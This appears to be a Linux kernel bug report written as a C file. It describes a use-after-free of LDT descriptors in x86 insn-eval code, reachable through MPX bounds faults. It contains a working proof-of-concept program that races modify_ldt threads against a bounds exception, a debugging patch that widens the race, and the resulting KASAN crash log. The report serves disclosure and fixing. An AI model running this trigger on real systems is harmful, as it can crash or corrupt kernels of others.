/* When a #BR exception is raised because of an MPX bounds violation, Linux parses the faulting instruction and computes the linear address of its memory operand. If the userspace instruction is in 32-bit code, this involves looking up the correct segment descriptor and adding the segment offset to the address. (Another codepath that computes the linear address of an instruction is UMIP, but I think that requires processors >= Cannon Lake, and my PC isn't that new.) get_desc() locks the mm context, computes the pointer to the LDT entry, but then drops the lock again and returns the pointer. This means that when the caller actually accesses the pointer, the pointer may have been freed already. This bug was introduced in <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=670f928ba09b> ("x86/insn-eval: Add utility function to get segment descriptor", first in 4.15). To make this easier to hit, I patched a sleep into my kernel: ================ diff --git a/arch/x86/lib/insn-eval.c b/arch/x86/lib/insn-eval.c index cf00ab6c66210..5d9c59a28c76f 100644 --- a/arch/x86/lib/insn-eval.c +++ b/arch/x86/lib/insn-eval.c @@ -7,6 +7,7 @@ #include <linux/string.h> #include <linux/ratelimit.h> #include <linux/mmu_context.h> +#include <linux/delay.h> #include <asm/desc_defs.h> #include <asm/desc.h> #include <asm/inat.h> @@ -670,6 +671,8 @@ unsigned long insn_get_seg_base(struct pt_regs *regs, int seg_reg_idx) if (!desc) return -1L; + mdelay(1000); + return get_desc_base(desc); } ================ I also built the kernel with KASAN and full preemption. Then I ran the following test program, compiled with "gcc -m32 -mmpx -fcheck-pointer-bounds -o mpx mpx.c -pthread": =============== */ #define _GNU_SOURCE #include <ucontext.h> #include <stdio.h> #include <signal.h> #include <setjmp.h> #include <sys/prctl.h> #include <err.h> #include <unistd.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <pthread.h> unsigned long blah; void post_bounds_label(void); static void do_ldt(void) { struct user_desc desc = { .entry_number = 0, .base_addr = (unsigned long)&blah, .limit = 0xffffffff, .seg_32bit = 1, .contents = 0, .useable = 1 }; if (syscall(__NR_modify_ldt, 0x11, &desc, sizeof(desc))) err(1, "modify_ldt"); } void *ldt_thread(void *dummy) { while (1) do_ldt(); } jmp_buf jumpy; void handle_segv(int sig, siginfo_t *info, void *uctx_) { if (info->si_addr != &blah) { printf("addr=%p\n", info->si_addr); } ucontext_t *uctx = uctx_; uctx->uc_mcontext.gregs[REG_EIP] = (unsigned long)post_bounds_label; } int main(void) { do_ldt(); pthread_t thread; if (pthread_create(&thread, NULL, ldt_thread, NULL)) err(1, "pthread create"); struct sigaction act = { .sa_sigaction = handle_segv, .sa_flags = SA_NODEFER|SA_SIGINFO }; if (sigaction(SIGSEGV, &act, NULL)) err(1, "sigaction"); while (1) { unsigned long mpx_bounds[2] = { 5, 6 }; unsigned long old_bounds[2]; asm volatile( "bndmov %%bnd0, (%0)\n" "bndmov (%2), %%bnd0\n" "mov %1, %%fs\n" "bndcl %%fs:(%3), %%bnd0\n" "bndcn %%fs:(%3), %%bnd0\n" "post_bounds_label:\n" "bndmov (%0), %%bnd0\n" : /*out*/ : /*in*/ "r"(old_bounds), "r"(0x7), "r"(mpx_bounds), "r"(0x0UL) ); } } /* jannh@laptop:~/mpx$ =============== The program started printing various hex numbers, and I immediately got this KASAN splat: =============== [ 3129.003397] ================================================================== [ 3129.003411] BUG: KASAN: use-after-free in insn_get_seg_base+0x9a/0x110 [ 3129.003416] Read of size 2 at addr ffff8883775da002 by task mpx/13947 [ 3129.003425] CPU: 1 PID: 13947 Comm: mpx Not tainted 5.2.0-rc2+ #10 [ 3129.003427] Hardware name: [...] [ 3129.003429] Call Trace: [ 3129.003436] dump_stack+0x71/0xab [ 3129.003441] ? insn_get_seg_base+0x9a/0x110 [ 3129.003446] print_address_description+0x6a/0x250 [ 3129.003450] ? insn_get_seg_base+0x9a/0x110 [ 3129.003454] ? insn_get_seg_base+0x9a/0x110 [ 3129.003458] __kasan_report+0x14e/0x192 [ 3129.003463] ? insn_get_seg_base+0x9a/0x110 [ 3129.003467] kasan_report+0xe/0x20 [ 3129.003471] insn_get_seg_base+0x9a/0x110 [ 3129.003476] get_seg_base_limit+0x181/0x4a0 [ 3129.003482] insn_get_addr_ref+0x18f/0x490 [ 3129.003486] ? insn_get_opcode.part.4+0x16d/0x350 [ 3129.003490] ? insn_get_modrm_rm_off+0x60/0x60 [ 3129.003496] ? insn_get_modrm.part.5+0xce/0x220 [ 3129.003501] ? insn_get_sib.part.6+0x60/0xc0 [ 3129.003505] ? insn_get_displacement.part.7+0xe3/0x1d0 [ 3129.003509] ? insn_get_immediate.part.8+0x52/0x710 [ 3129.003514] ? preempt_count_sub+0x14/0xc0 [ 3129.003517] ? preempt_count_sub+0x14/0xc0 [ 3129.003523] mpx_fault_info+0x1bc/0x2d0 [ 3129.003528] ? trace_event_raw_event_bounds_exception_mpx+0x170/0x170 [ 3129.003535] ? notify_die+0x7d/0xc0 [ 3129.003539] ? atomic_notifier_call_chain+0x40/0x40 [ 3129.003543] ? __ia32_sys_rt_sigaction+0x1c0/0x1c0 [ 3129.003547] ? preempt_count_sub+0x14/0xc0 [ 3129.003550] ? preempt_count_sub+0x14/0xc0 [ 3129.003556] do_bounds+0x24d/0x350 [ 3129.003560] ? do_double_fault+0x160/0x160 [ 3129.003565] ? fpregs_assert_state_consistent+0x54/0x70 [ 3129.003570] ? bounds+0xa/0x20 [ 3129.003574] bounds+0x14/0x20 [ 3129.003578] RIP: 0023:0x565e98e7 [ 3129.003583] Code: c7 85 64 ff ff ff 06 00 00 00 8d 85 58 ff ff ff b9 07 00 00 00 8d 95 60 ff ff ff bb 00 00 00 00 66 0f 1b 00 66 0f 1a 02 8e e1 <64> f3 0f 1a 03 64 f2 0f 1b 03 66 0f 1a 00 f2 e9 7c ff ff ff 55 89 [ 3129.003585] RSP: 002b:00000000ffdca1f0 EFLAGS: 00010286 [ 3129.003588] RAX: 00000000ffdca230 RBX: 0000000000000000 RCX: 0000000000000007 [ 3129.003591] RDX: 00000000ffdca238 RSI: 0000000000000001 RDI: 00000000ffdca2cc [ 3129.003593] RBP: 00000000ffdca2d8 R08: 0000000000000000 R09: 0000000000000000 [ 3129.003595] R10: 0000000000000000 R11: 0000000000000286 R12: 0000000000000000 [ 3129.003597] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 3129.003606] Allocated by task 13948: [ 3129.003611] save_stack+0x19/0x80 [ 3129.003615] __kasan_kmalloc.constprop.8+0xa0/0xd0 [ 3129.003618] kmem_cache_alloc_trace+0xcc/0x5d0 [ 3129.003622] alloc_ldt_struct+0x39/0xc0 [ 3129.003625] write_ldt+0x236/0x5d0 [ 3129.003628] __ia32_sys_modify_ldt+0x50/0xc0 [ 3129.003632] do_fast_syscall_32+0x112/0x390 [ 3129.003635] entry_SYSENTER_compat+0x7f/0x91 [ 3129.003639] Freed by task 13948: [ 3129.003644] save_stack+0x19/0x80 [ 3129.003647] __kasan_slab_free+0x105/0x150 [ 3129.003650] kfree+0x82/0x120 [ 3129.003653] write_ldt+0x519/0x5d0 [ 3129.003656] __ia32_sys_modify_ldt+0x50/0xc0 [ 3129.003659] do_fast_syscall_32+0x112/0x390 [ 3129.003664] entry_SYSENTER_compat+0x7f/0x91 [ 3129.003669] The buggy address belongs to the object at ffff8883775da000 which belongs to the cache kmalloc-32 of size 32 [ 3129.003674] The buggy address is located 2 bytes inside of 32-byte region [ffff8883775da000, ffff8883775da020) [ 3129.003677] The buggy address belongs to the page: [ 3129.003683] page:ffffea000ddd7680 refcount:1 mapcount:0 mapping:ffff8883d0c00180 index:0xffff8883775dafc1 [ 3129.003686] flags: 0x17fffc000000200(slab) [ 3129.003692] raw: 017fffc000000200 ffffea000f0692c8 ffffea000d4bb988 ffff8883d0c00180 [ 3129.003696] raw: ffff8883775dafc1 ffff8883775da000 000000010000003f 0000000000000000 [ 3129.003698] page dumped because: kasan: bad access detected [ 3129.003701] Memory state around the buggy address: [ 3129.003706] ffff8883775d9f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3129.003711] ffff8883775d9f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3129.003715] >ffff8883775da000: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003718] ^ [ 3129.003723] ffff8883775da080: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003727] ffff8883775da100: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003730] ================================================================== [ 3129.003733] Disabling lock debugging due to kernel taint =============== I'll send a suggested patch ("[PATCH] x86/insn-eval: Fix use-after-free access to LDT entry") in a minute. */